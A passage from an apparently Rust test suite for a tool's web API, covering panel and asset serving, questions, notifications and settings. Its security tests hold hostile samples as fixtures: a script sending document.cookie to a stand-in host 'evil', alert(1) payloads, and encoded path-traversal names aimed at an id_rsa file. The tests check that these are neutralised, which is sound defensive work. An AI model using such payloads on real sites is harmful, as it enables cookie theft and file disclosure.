7093 if let Some(body) = body {
7094 head.push_str("Content-Type: application/json\r\n");
7095 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7096 }
7097 head.push_str("\r\n");
7098 if let Some(body) = body {
7099 head.push_str(body);
7100 }
7101 let mut socket = tokio::net::TcpStream::connect(addr)
7102 .await
7103 .expect("connect to the test server");
7104 socket
7105 .write_all(head.as_bytes())
7106 .await
7107 .expect("write request");
7108 let mut raw = Vec::new();
7109 socket.read_to_end(&mut raw).await.expect("read response");
7110 let split = raw
7113 .windows(4)
7114 .position(|w| w == b"\r\n\r\n")
7115 .expect("a header block");
7116 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7117 let bytes = raw[split + 4..].to_vec();
7118 let status = head
7119 .lines()
7120 .next()
7121 .and_then(|line| line.split_whitespace().nth(1))
7122 .and_then(|code| code.parse().ok())
7123 .expect("a status line");
7124 Res {
7125 status,
7126 headers: head.to_lowercase(),
7127 head,
7128 body: String::from_utf8_lossy(&bytes).into_owned(),
7129 bytes,
7130 }
7131 }
7132
7133 async fn request_bytes(
7139 addr: SocketAddr,
7140 path: &str,
7141 headers: &[(&str, &str)],
7142 body: &[u8],
7143 ) -> Res {
7144 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7145 for (name, value) in headers {
7146 head.push_str(&format!("{name}: {value}\r\n"));
7147 }
7148 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7149 let mut socket = tokio::net::TcpStream::connect(addr)
7150 .await
7151 .expect("connect to the test server");
7152 socket
7153 .write_all(head.as_bytes())
7154 .await
7155 .expect("write request head");
7156 socket.write_all(body).await.expect("write request body");
7157 let mut raw = Vec::new();
7158 socket.read_to_end(&mut raw).await.expect("read response");
7159 let split = raw
7160 .windows(4)
7161 .position(|w| w == b"\r\n\r\n")
7162 .expect("a header block");
7163 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7164 let bytes = raw[split + 4..].to_vec();
7165 let status = head
7166 .lines()
7167 .next()
7168 .and_then(|line| line.split_whitespace().nth(1))
7169 .and_then(|code| code.parse().ok())
7170 .expect("a status line");
7171 Res {
7172 status,
7173 headers: head.to_lowercase(),
7174 head,
7175 body: String::from_utf8_lossy(&bytes).into_owned(),
7176 bytes,
7177 }
7178 }
7179
7180 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7182 let mut state = RunState::new(
7183 PathBuf::from("/repo/magi"),
7184 "main".to_owned(),
7185 "0123456789abcdef".to_owned(),
7186 "Add a web UI\n\nMobile first.".to_owned(),
7187 Config::default(),
7188 );
7189 state.id = id.to_owned();
7190 state.status = status;
7191 let dir = runs.join(id);
7192 std::fs::create_dir_all(&dir).expect("run dir");
7193 std::fs::write(
7194 dir.join("run.json"),
7195 serde_json::to_string_pretty(&state).expect("serialize run"),
7196 )
7197 .expect("write run.json");
7198 }
7199
7200 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7204 let mut state = RunState::new(
7205 PathBuf::from(repo),
7206 "main".to_owned(),
7207 "0123456789abcdef".to_owned(),
7208 "task".to_owned(),
7209 Config::default(),
7210 );
7211 state.id = id.to_owned();
7212 state.status = status;
7213 let dir = runs.join(id);
7214 std::fs::create_dir_all(&dir).expect("run dir");
7215 std::fs::write(
7216 dir.join("run.json"),
7217 serde_json::to_string_pretty(&state).expect("serialize run"),
7218 )
7219 .expect("write run.json");
7220 }
7221
7222 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7223 let body = serde_json::json!({
7224 "schema": 1,
7225 "pid": 4242,
7226 "started_at": Timestamp::now().to_string(),
7227 "updated_at": updated_at.to_string(),
7228 "idle": false,
7229 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7230 "completed": 7,
7231 "polls": 143,
7232 });
7233 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7234 }
7235
7236 fn launch_idle(
7246 _opts: daemon::Opts,
7247 stop: daemon::Stop,
7248 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7249 Box::pin(async move {
7250 while !stop.stopped() {
7251 tokio::time::sleep(Duration::from_millis(2)).await;
7252 }
7253 Ok(())
7254 })
7255 }
7256
7257 fn launch_broken(
7260 _opts: daemon::Opts,
7261 _stop: daemon::Stop,
7262 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7263 Box::pin(async {
7264 Err(anyhow::anyhow!(
7265 "publish the daemon status file: read-only file system"
7266 ))
7267 })
7268 }
7269
7270 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7277 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7278
7279 fn launch_knocking_on_the_way_out(
7286 _opts: daemon::Opts,
7287 stop: daemon::Stop,
7288 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7289 Box::pin(async move {
7290 while !stop.stopped() {
7291 tokio::time::sleep(Duration::from_millis(2)).await;
7292 }
7293 let addr = PARK_KNOCK
7294 .lock()
7295 .expect("park knock")
7296 .expect("the test set an address");
7297 let heard = request(addr, "GET", "/api/health", None).await.status;
7298 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7299 Ok(())
7300 })
7301 }
7302
7303 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7312 for _ in 0..SETTLE_STEPS {
7313 let view = fx.get("/api/loop").await.json();
7314 if want(&view) {
7315 return view;
7316 }
7317 tokio::time::sleep(Duration::from_millis(10)).await;
7318 }
7319 panic!(
7320 "the loop never settled: {}",
7321 fx.get("/api/loop").await.json()
7322 );
7323 }
7324
7325 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7327 let store = fx.questions();
7328 let mut q = Question::new(
7329 "20260902-000000-beef".to_owned(),
7330 "implement".to_owned(),
7331 "impl-A".to_owned(),
7332 summary.to_owned(),
7333 "because it matters".to_owned(),
7334 choices.iter().map(|c| (*c).to_owned()).collect(),
7335 );
7336 store.put(&mut q).expect("put question");
7337 q.id
7338 }
7339
7340 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7346 let store = fx.questions();
7347 let mut q = Question::new(
7348 "20260902-000000-beef".to_owned(),
7349 "land".to_owned(),
7350 "fix".to_owned(),
7351 "Merge this?".to_owned(),
7352 "the diff is in the panel".to_owned(),
7353 vec!["merge".to_owned(), "hold".to_owned()],
7354 );
7355 let staging = fx.home.path().join("staging");
7358 std::fs::create_dir_all(&staging).expect("staging dir");
7359 let sources: Vec<PathBuf> = assets
7360 .iter()
7361 .map(|(name, bytes)| {
7362 let path = staging.join(name);
7363 std::fs::write(&path, bytes).expect("write staged asset");
7364 path
7365 })
7366 .collect();
7367 store
7368 .put_panel(&mut q, html, &sources)
7369 .expect("write the panel");
7370 store.put(&mut q).expect("put question");
7371 q.id
7372 }
7373
7374 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7383 seed_talk_at(&fx.talks(), id, status)
7384 }
7385
7386 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7387 std::fs::create_dir_all(store.root()).expect("talks dir");
7388 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7389 .expect("serialize a seat");
7390 let body = serde_json::json!({
7391 "schema": 1,
7392 "id": id,
7393 "repo": "/repo/magi",
7394 "agent": "mock",
7395 "status": status,
7396 "turns": [],
7397 "created_at": Timestamp::now().to_string(),
7398 "updated_at": Timestamp::now().to_string(),
7399 "seat": seat,
7400 });
7401 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7402 store.get(id).expect("the seeded talk has to be readable");
7403 id.to_owned()
7404 }
7405
7406 #[tokio::test]
7407 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7408 let fx = Fixture::start().await;
7409 let id = panel(
7410 &fx,
7411 "<h1>Merge?</h1><img src=\"diff.svg\">",
7412 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7413 );
7414
7415 for path in [
7416 format!("/api/questions/{id}/panel"),
7417 format!("/api/questions/{id}/asset/diff.svg"),
7418 ] {
7419 let res = fx.get(&path).await;
7420 assert_eq!(res.status, 200, "{path}: {}", res.body);
7421 assert_eq!(
7427 res.header("content-security-policy"),
7428 Some(
7429 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7430 font-src data:; base-uri 'none'; form-action 'none'; \
7431 frame-ancestors 'self'"
7432 ),
7433 "{path} is the only thing between a hostile panel and the tailnet"
7434 );
7435 assert_eq!(
7436 res.header("x-content-type-options"),
7437 Some("nosniff"),
7438 "{path}: a browser must not re-decide the type we sent"
7439 );
7440 assert_eq!(
7441 res.header("referrer-policy"),
7442 Some("no-referrer"),
7443 "{path}: a panel must not leak the question id off the machine"
7444 );
7445
7446 let pre = fx.head(&path).await;
7451 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7452 assert_eq!(
7453 pre.header("content-security-policy"),
7454 res.header("content-security-policy"),
7455 "{path}: the preflight carries the same policy"
7456 );
7457 assert_eq!(
7458 pre.header("content-type"),
7459 res.header("content-type"),
7460 "{path}: the preflight carries the same type"
7461 );
7462 }
7463 }
7464
7465 #[tokio::test]
7466 async fn a_panel_reaches_the_browser_byte_for_byte() {
7467 let fx = Fixture::start().await;
7468 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7473 let id = panel(&fx, html, &[]);
7474
7475 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7476
7477 assert_eq!(res.status, 200);
7478 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7479 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7480 assert_eq!(
7481 res.header("content-disposition"),
7482 None,
7483 "the panel itself is rendered in the frame, not downloaded"
7484 );
7485 }
7486
7487 #[tokio::test]
7488 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7489 let fx = Fixture::start().await;
7490 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7491 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7492 let id = panel(
7493 &fx,
7494 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7495 &[("diff.svg", svg), ("shot.png", png)],
7496 );
7497
7498 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7499 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7500
7501 assert_eq!(as_svg.status, 200);
7502 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7503 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7508
7509 assert_eq!(as_png.status, 200);
7510 assert_eq!(as_png.header("content-type"), Some("image/png"));
7511 assert_eq!(
7512 as_png.header("content-disposition"),
7513 None,
7514 "a raster image has no execution surface, so tapping it still shows it"
7515 );
7516 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7517 }
7518
7519 #[tokio::test]
7520 async fn an_html_asset_is_never_served_as_html() {
7521 let fx = Fixture::start().await;
7522 let id = panel(
7523 &fx,
7524 "<p>see the notes</p>",
7525 &[
7526 (
7527 "notes.html",
7528 b"<script>fetch('http://evil/'+document.cookie)</script>",
7529 ),
7530 ("hook.js", b"fetch('http://evil/')"),
7531 ("data.json", b"{}"),
7532 ("HEADLINE.TXT", b"plain"),
7533 ],
7534 );
7535
7536 for name in ["notes.html", "hook.js", "data.json"] {
7537 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7538 assert_eq!(res.status, 200, "{name}: {}", res.body);
7539 assert_eq!(
7544 res.header("content-type"),
7545 Some("application/octet-stream"),
7546 "{name} must not be a type the browser will execute or render"
7547 );
7548 }
7549 let txt = fx
7552 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7553 .await;
7554 assert_eq!(
7555 txt.header("content-type"),
7556 Some("text/plain; charset=utf-8")
7557 );
7558 }
7559
7560 #[tokio::test]
7561 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7562 let fx = Fixture::start().await;
7563 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7564 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7568
7569 for encoded in [
7576 "%2e%2e%2fid_rsa",
7577 "..%2fid_rsa",
7578 "..%5cid_rsa",
7579 "%2e%2e%5cid_rsa",
7580 "diff%00.svg",
7581 "..",
7582 ".hidden",
7583 "%2e%2e%2f%2e%2e%2fid_rsa",
7584 ] {
7585 let res = fx
7586 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7587 .await;
7588 assert_eq!(
7589 res.status, 400,
7590 "`{encoded}` has to be refused by name, not looked up: {}",
7591 res.body
7592 );
7593 assert!(res.json()["error"].is_string(), "{}", res.body);
7594 }
7595
7596 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7602 let res = fx
7603 .get(&format!("/api/questions/{id}/asset/{literal}"))
7604 .await;
7605 assert_eq!(
7606 res.status, 404,
7607 "`{literal}` must not match the asset route at all: {}",
7608 res.body
7609 );
7610 }
7611 }
7612
7613 #[tokio::test]
7614 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7615 let fx = Fixture::start().await;
7616 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7617 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7618
7619 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7623 assert_eq!(none.status, 404, "{}", none.body);
7624 assert!(none.json()["error"].is_string(), "{}", none.body);
7625 assert_eq!(
7626 fx.head(&format!("/api/questions/{plain}/panel"))
7627 .await
7628 .status,
7629 404,
7630 "the preflight is the only way the client can learn this"
7631 );
7632
7633 let missing = fx
7635 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7636 .await;
7637 assert_eq!(missing.status, 404, "{}", missing.body);
7638 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7639
7640 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7642 assert_eq!(
7643 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7644 404
7645 );
7646 }
7647
7648 #[tokio::test]
7649 async fn a_run_with_an_open_question_reads_as_waiting() {
7650 let fx = Fixture::start().await;
7651 let run = "20260902-000000-beef".to_owned();
7652 write_run(&fx.runs(), &run, RunStatus::Implementing);
7653
7654 let before = fx.get("/api/runs").await.json();
7655 assert_eq!(before[0]["waiting"], false, "{before}");
7656
7657 let store = fx.questions();
7658 let mut q = Question::new(
7659 run.clone(),
7660 "implement".to_owned(),
7661 "impl-A".to_owned(),
7662 "Which backend?".to_owned(),
7663 String::new(),
7664 vec!["SQLite".to_owned()],
7665 );
7666 store.put(&mut q).expect("put");
7667
7668 let during = fx.get("/api/runs").await.json();
7669 assert_eq!(during[0]["waiting"], true, "{during}");
7670
7671 q.answer(Answer::Choice("SQLite".to_owned()))
7674 .expect("answer");
7675 store.put(&mut q).expect("put");
7676 let after = fx.get("/api/runs").await.json();
7677 assert_eq!(after[0]["waiting"], false, "{after}");
7678 }
7679
7680 #[tokio::test]
7681 async fn an_open_question_is_listed_and_counted_by_health() {
7682 let fx = Fixture::start().await;
7683 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7684
7685 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7686 let listed = fx.get("/api/questions").await.json();
7687 assert_eq!(listed.as_array().expect("array").len(), 1);
7688 assert_eq!(listed[0]["id"], id);
7689 assert_eq!(listed[0]["status"], "open");
7690 assert_eq!(listed[0]["choices"][1], "Redis");
7691 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7694 }
7695
7696 #[tokio::test]
7697 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7698 let fx = Fixture::start().await;
7699 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7700 let path = format!("/api/questions/{id}/answer");
7701
7702 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7703 assert_eq!(res.status, 200, "{}", res.body);
7704 let body = res.json();
7705 assert_eq!(body["status"], "answered");
7706 assert_eq!(body["answer"]["choice"], "Redis");
7707
7708 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7712 assert_eq!(again.status, 409, "{}", again.body);
7713 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7714 }
7715
7716 #[tokio::test]
7717 async fn saying_something_appends_a_turn_without_answering() {
7718 let fx = Fixture::start().await;
7719 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7720 let path = format!("/api/questions/{id}/say");
7721
7722 let res = fx
7723 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7724 .await;
7725 assert_eq!(res.status, 200, "{}", res.body);
7726 let body = res.json();
7727 assert_eq!(body["status"], "open", "talking back is not a decision");
7728 assert_eq!(body["answer"], Value::Null);
7729 assert_eq!(body["thread"][0]["who"], "operator");
7730 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7731 assert_eq!(body["waiting_on_agent"], true);
7732 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7734 }
7735
7736 #[tokio::test]
7737 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
7738 let fx = Fixture::start().await;
7739 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7740
7741 let list = fx.get("/api/questions").await.json();
7742 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
7743
7744 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
7745 assert_eq!(res.status, 409, "{}", res.body);
7746 let q = fx.questions().get(&id).unwrap();
7747 assert!(q.status.open());
7748 assert!(q.consult.is_none());
7749 }
7750
7751 #[tokio::test]
7752 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
7753 let fx = Fixture::start().await;
7754 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7755 let cfg = Config {
7756 agents: vec![crate::config::AgentSpec {
7757 id: "mock".to_owned(),
7758 kind: crate::config::AgentKind::Command,
7759 model: None,
7760 command: vec!["true".to_owned()],
7761 extra_args: Vec::new(),
7762 env: Default::default(),
7763 prompt_delivery: None,
7764 }],
7765 ..Config::default()
7766 };
7767 let talk = crate::talk::begin(
7768 &fx.talks(),
7769 &cfg,
7770 fx.home.path().to_path_buf(),
7771 Some("mock"),
7772 )
7773 .unwrap();
7774 let mut task = Task::new(
7775 "t".to_owned(),
7776 "Do it".to_owned(),
7777 PathBuf::from("/repo/magi"),
7778 Source::Agent {
7779 run: talk.id.clone(),
7780 node: crate::queue::CHAT_NODE.to_owned(),
7781 },
7782 );
7783 task.start("20260902-000000-beef".to_owned());
7784 fx.queue().put(&mut task).unwrap();
7785
7786 let list = fx.get("/api/questions").await.json();
7787 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
7788 assert_eq!(
7789 list[0]["choices"],
7790 serde_json::json!(["SQLite", "Redis"]),
7791 "the hand-over is never a choice"
7792 );
7793 let _ = id;
7794 }
7795
7796 #[tokio::test]
7797 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7798 let fx = Fixture::start().await;
7799 let store = fx.questions();
7800 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7801 assert_eq!(
7802 fx.get("/api/health").await.json()["questions_needs_owner"],
7803 1
7804 );
7805
7806 let res = fx
7812 .post(
7813 &format!("/api/questions/{id}/say"),
7814 Some(r#"{"body":"why not Postgres?"}"#),
7815 )
7816 .await;
7817 assert_eq!(res.status, 200, "{}", res.body);
7818 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7819 assert_eq!(
7820 fx.get("/api/health").await.json()["questions_needs_owner"],
7821 0,
7822 "waiting on the agent is not waiting on the owner"
7823 );
7824
7825 let mut q = store.get(&id).expect("get");
7829 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7830 .expect("reply");
7831 store.put(&mut q).expect("put");
7832 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7833 assert_eq!(
7834 fx.get("/api/health").await.json()["questions_needs_owner"],
7835 1,
7836 "the agent's reply is what should light the banner back up"
7837 );
7838 }
7839
7840 #[tokio::test]
7841 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7842 let fx = Fixture::start().await;
7843 let store = fx.questions();
7844
7845 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7846 let res = fx
7847 .post(
7848 &format!("/api/questions/{empty_id}/say"),
7849 Some(r#"{"body":" "}"#),
7850 )
7851 .await;
7852 assert_eq!(res.status, 400, "{}", res.body);
7853
7854 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7855 let mut answered = store.get(&answered_id).expect("get");
7856 answered
7857 .answer(Answer::Choice("SQLite".to_owned()))
7858 .expect("answer");
7859 store.put(&mut answered).expect("put");
7860 let res = fx
7861 .post(
7862 &format!("/api/questions/{answered_id}/say"),
7863 Some(r#"{"body":"still there?"}"#),
7864 )
7865 .await;
7866 assert_eq!(res.status, 409, "{}", res.body);
7867
7868 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7869 let mut abandoned = store.get(&abandoned_id).expect("get");
7870 abandoned.abandon("timed out");
7871 store.put(&mut abandoned).expect("put");
7872 let res = fx
7873 .post(
7874 &format!("/api/questions/{abandoned_id}/say"),
7875 Some(r#"{"body":"still there?"}"#),
7876 )
7877 .await;
7878 assert_eq!(res.status, 409, "{}", res.body);
7879 }
7880
7881 #[tokio::test]
7882 async fn an_answer_the_question_does_not_offer_is_refused() {
7883 let fx = Fixture::start().await;
7884 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7885 let path = format!("/api/questions/{id}/answer");
7886
7887 for body in [
7888 r#"{"choice":"Postgres"}"#,
7889 r#"{"text":"whatever you think"}"#,
7890 r#"{"choice":"Redis","text":"both"}"#,
7891 r#"{}"#,
7892 ] {
7893 let res = fx.post(&path, Some(body)).await;
7894 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7895 assert!(res.json()["error"].is_string(), "{}", res.body);
7896 }
7897 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7899 }
7900
7901 #[tokio::test]
7902 async fn a_free_text_question_takes_text_and_not_a_choice() {
7903 let fx = Fixture::start().await;
7904 let id = ask(&fx, "What should the flag be called?", &[]);
7905 let path = format!("/api/questions/{id}/answer");
7906
7907 assert_eq!(
7908 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
7909 400
7910 );
7911 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
7912 assert_eq!(res.status, 200, "{}", res.body);
7913 assert_eq!(res.json()["answer"]["text"], "--json");
7914 }
7915
7916 #[tokio::test]
7917 async fn an_unknown_question_is_a_json_404() {
7918 let fx = Fixture::start().await;
7919 let res = fx
7920 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
7921 .await;
7922 assert_eq!(res.status, 404, "{}", res.body);
7923 assert!(res.json()["error"].is_string());
7924 }
7925
7926 #[tokio::test]
7927 async fn notifications_list_read_dismiss_and_health_agree() {
7928 let fx = Fixture::start().await;
7929 let store = Notices::at(fx.home.path().join("notifications"));
7930 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
7931 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
7932
7933 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
7934 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
7935
7936 let health = fx.get("/api/health").await.json();
7937 assert_eq!(health["notifications_unread"], 2);
7938 assert_ne!(
7939 health["notifications_rev"], rev0,
7940 "the badge must move live"
7941 );
7942
7943 let listed = fx.get("/api/notifications").await.json();
7944 assert_eq!(listed["unread"], 2);
7945 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
7946 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
7947
7948 let read = fx
7949 .post(&format!("/api/notifications/{}/read", a.id), None)
7950 .await;
7951 assert_eq!(read.status, 200, "{}", read.body);
7952 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
7953
7954 let gone = fx
7955 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
7956 .await;
7957 assert_eq!(gone.status, 200, "{}", gone.body);
7958 let listed = fx.get("/api/notifications").await.json();
7959 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
7960 assert_eq!(listed["unread"], 0);
7961
7962 store.raise(Notice::info("x", "again")).unwrap();
7963 let all = fx.post("/api/notifications/read-all", None).await;
7964 assert_eq!(all.status, 200, "{}", all.body);
7965 assert_eq!(all.json()["marked"], 1);
7966 assert_eq!(
7967 fx.get("/api/health").await.json()["notifications_unread"],
7968 0
7969 );
7970
7971 let missing = fx.post("/api/notifications/nope/read", None).await;
7972 assert_eq!(missing.status, 404, "{}", missing.body);
7973 assert!(missing.json()["error"].is_string());
7974 }
7975
7976 #[tokio::test]
7983 async fn a_task_cannot_be_filed_over_the_phone_directly() {
7984 let f = Fixture::start().await;
7985
7986 let res = f
7987 .post(
7988 "/api/queue",
7989 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
7990 )
7991 .await;
7992
7993 assert_eq!(
7994 res.status, 405,
7995 "POST /api/queue must not be a route: {}",
7996 res.body
7997 );
7998 assert!(
7999 f.queue().list().is_empty(),
8000 "a task filed by a route that does not exist must not reach the disk"
8001 );
8002 assert_eq!(f.get("/api/queue").await.status, 200);
8005 }
8006
8007 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8009 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8010 .expect("checkout dir");
8011 }
8012
8013 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8015
8016 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8017 let tmp = TempDir::new().expect("tempdir");
8018 let repo = tmp.path().join("repo");
8019 std::fs::create_dir_all(&repo).expect("repo dir");
8020 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8021 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8022 if let Some(text) = machine_toml {
8023 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8024 std::fs::write(&machine, text).expect("machine toml");
8025 }
8026 (tmp, repo, machine)
8027 }
8028
8029 #[tokio::test]
8030 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8031 let (_tmp, repo, machine) =
8032 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8033 let f = Fixture::with_repo_and_machine(repo, machine).await;
8034 let res = f.get("/api/settings").await;
8035 assert_eq!(res.status, 200, "{}", res.body);
8036 let v = res.json();
8037 assert!(v["error"].is_null(), "{v}");
8038 let role = |k: &str| {
8039 v["roles"]
8040 .as_array()
8041 .and_then(|r| r.iter().find(|x| x["key"] == k))
8042 .cloned()
8043 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8044 };
8045 assert_eq!(role("judges")["source"], "machine");
8046 assert_eq!(role("judges")["editable"], true);
8047 assert_eq!(role("implementers")["source"], "default");
8048 let adv = role("advisors");
8049 assert_eq!(adv["fallback"], "judges");
8050 assert!(
8051 adv["seats"]
8052 .as_array()
8053 .is_some_and(|s| s.iter().all(|x| x == "b")),
8054 "{adv}"
8055 );
8056 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8057 assert_eq!(v["agents"][0]["source"], "repo");
8058 }
8059
8060 #[tokio::test]
8061 async fn settings_get_reports_a_config_that_does_not_parse() {
8062 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8063 let f = Fixture::with_repo_and_machine(repo, machine).await;
8064 let res = f.get("/api/settings").await;
8065 assert_eq!(res.status, 200, "{}", res.body);
8066 let v = res.json();
8067 assert!(v["error"]["message"].is_string(), "{v}");
8068 assert!(
8069 v["error"]["path"]
8070 .as_str()
8071 .is_some_and(|p| p.ends_with("magi.toml")),
8072 "{v}"
8073 );
8074 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8075 }
8076
8077 #[tokio::test]
8078 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8079 let (_tmp, repo, machine) = settings_dirs(
8080 SETTINGS_AGENTS,
8081 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8082 );
8083 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8084 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8085 let rev = f.get("/api/settings").await.json()["revision"]
8086 .as_str()
8087 .expect("revision")
8088 .to_owned();
8089 let body = serde_json::json!({
8090 "revision": rev,
8091 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8092 })
8093 .to_string();
8094 let res = f.put("/api/settings/roles", &body).await;
8095 assert_eq!(res.status, 200, "{}", res.body);
8096 let text = std::fs::read_to_string(&machine).expect("machine");
8097 assert_eq!(
8098 text,
8099 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8100 );
8101 assert_eq!(
8102 std::fs::read(repo.join("magi.toml")).expect("read"),
8103 repo_before
8104 );
8105 let again = f.get("/api/settings").await.json();
8106 let judges = again["roles"]
8107 .as_array()
8108 .expect("roles")
8109 .iter()
8110 .find(|r| r["key"] == "judges")
8111 .expect("judges")
8112 .clone();
8113 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8114 let stale = f.put("/api/settings/roles", &body).await;
